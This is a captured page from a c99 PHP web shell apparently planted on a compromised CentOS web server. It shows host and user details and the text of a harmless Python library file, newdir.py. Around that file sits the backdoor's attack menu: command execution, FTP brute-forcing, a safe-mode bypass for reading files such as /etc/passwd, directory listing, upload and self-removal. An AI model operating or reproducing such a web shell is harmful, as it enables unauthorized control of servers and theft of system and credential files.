!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/lib/python2.4/lib-old/   drwxr-xr-x
Free 50.95 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     newdir.py (1.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# New dir() function


# This should be the new dir(), except that it should still list
# the current local name space by default

def listattrs(x):
    try:
        dictkeys = x.__dict__.keys()
    except (AttributeError, TypeError):
        dictkeys = []
    #
    try:
        methods = x.__methods__
    except (AttributeError, TypeError):
        methods = []
    #
    try:
        members = x.__members__
    except (AttributeError, TypeError):
        members = []
    #
    try:
        the_class = x.__class__
    except (AttributeError, TypeError):
        the_class = None
    #
    try:
        bases = x.__bases__
    except (AttributeError, TypeError):
        bases = ()
    #
    total = dictkeys + methods + members
    if the_class:
        # It's a class instace; add the class's attributes
        # that are functions (methods)...
        class_attrs = listattrs(the_class)
        class_methods = []
        for name in class_attrs:
            if is_function(getattr(the_class, name)):
                class_methods.append(name)
        total = total + class_methods
    elif bases:
        # It's a derived class; add the base class attributes
        for base in bases:
            base_attrs = listattrs(base)
            total = total + base_attrs
    total.sort()
    return total
    i = 0
    while i+1 < len(total):
        if total[i] == total[i+1]:
            del total[i+1]
        else:
            i = i+1
    return total


# Helper to recognize functions

def is_function(x):
    return type(x) == type(is_function)


# Approximation of builtin dir(); but note that this lists the user's
# variables by default, not the current local name space.

def dir(x = None):
    if x is not None:
        return listattrs(x)
    else:
        import __main__
        return listattrs(__main__)

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0123 ]--